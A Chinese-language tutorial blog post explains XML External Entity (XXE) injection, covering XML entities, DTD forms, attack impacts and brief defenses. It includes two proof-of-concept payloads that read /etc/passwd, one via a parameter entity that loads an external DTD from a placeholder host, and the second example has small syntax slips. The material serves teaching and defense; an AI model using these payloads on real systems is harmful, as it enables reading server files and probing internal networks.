XXE漏洞——xml外部實體注入XXE

XXE:

  • XXE全稱XML External Entity Injection,也就是XML外部實體注入攻擊,漏洞是對非安全的外部實體數據進行處理時引發的安全問題。要了解XXE,就必須懂得XML的一些規則。
  • XML是用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。
  • XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素

XML:

  • XML是The Extensible Markup Language(可擴展標識語言)的簡寫。
  • XML最初的目的是彌補HTML的不足,後來逐漸用於網絡數據的轉換和描述。
  • XML的設計宗旨是傳輸數據,不是顯示數據。
  • XML在web中的應用已十分廣泛。
  • XML是各種應用程序之間數據傳輸最常用的工具。
  • 與HTML的區別在於一個被設計用來展示數據,一個用來傳輸數據

xml實體(ENTITY):

  • 在一個甚至多個XML文檔中頻繁使用某一條數據,我們可以預先定義一個這條數據的“別名”,即一個ENTITY,然後在這些文檔中需要該數據的地方調用它。
  • 根據實體的來源我們可以分爲內部實體和外部實體。
  • XML定義了兩種類型的ENTITY,一種在XML文檔中使用,另一種作爲參數在DTD文件中使用。
  • 定義好的ENTITY在文檔中通過“&實體名;”來使用。
  • 可以把實體當作xml語言的變量。

DTD:

  • DTD(Documnet Type Definition):
  • 即文檔類型定義,是一種XML約束模式語言,屬於XML文件組成的一部分。
  • DTD文檔有三種應用形式:
  • 1.內部DTD文檔
  • <!DOCTYPE 根元素[定義內容]>
  • 2.外部DTD文檔
  • <!DOCTYPE 根元素 SYSTEM "DTD文件路徑">
  • 3.內外部DTD文檔結合
  • <!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內容]>
  • DTD(文檔類型定義)的作用:
  • 定義 XML 文檔的合法構建模塊。我們在XML中可以自定義標記,那XML解析器怎麼認識這些自定義標記並根據自定義標記的處理法則來處理元素呢?這需要DTD,它是我們用來定義我們自己定義的標記的含義,我們自己定義元素的相關屬性的文檔。
  • DTD與XML是類與對象,數據庫表結構與記錄的關係。
  • DTD 可被成行地聲明於 XML 文檔中,也可作爲一個外部引用。
  • 數據庫表結構與數據記錄。
  • 每個XML文件可以攜帶一個自身格式的描述。
  • 不同組織的人可以使用一個通用DTD來交換數據。
  • 應用程序可以使用一個標準DTD校驗從外部世界接收來的XML數據是否有效。
  • DTD應用格式請查閱:
  • https://www.w3school.com.cn/dtd/dtd_intro.asp

XML實體分爲:

  • 1、普通實體
  • 2、參數實體

XXE漏洞原理:

  • 普通實體引入外部實體:
  • 通過file協議,引入外部參數實體:
  • <?xml version="1.0" encoding="UTF-8"?>
  • <!DOCTYPE test [
  •     <!ENTITY xxe SYSTEM "file:///etc/passwd">
  •     ]>
  • <test>&xxe;</test>
  • 參數實體引入外部實體:
  • 引入外部參數實體outdtd.dtd文件:
  • <?xml version="1.0" encoding="UTF-8"?>
  • <!DOCTYPE % test[
  •     <!ENTITY % a SYSTEM “http://www.test.com/outdtd.dtd">
  •     % a;]>
  • <test>&xxe;</test>
  • outdtd.dtd
  • <!ENTITY xxe SYSTEM "file:///etc/passwd">

XXE危害:

  • 1:讀取任意文件。
  • 2:URL請求。
  • 3: Dos拒絕服務:遞歸調用,佔用大量服務器資源。
  • 4、攻擊內網網站。
  • 5、探測內網端口。

如何防禦XXE攻擊:

  • 1、使用開發語言提供的禁用外部實體的方法。
  • 2、過濾用戶提交的XML數據。
  • 3、<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章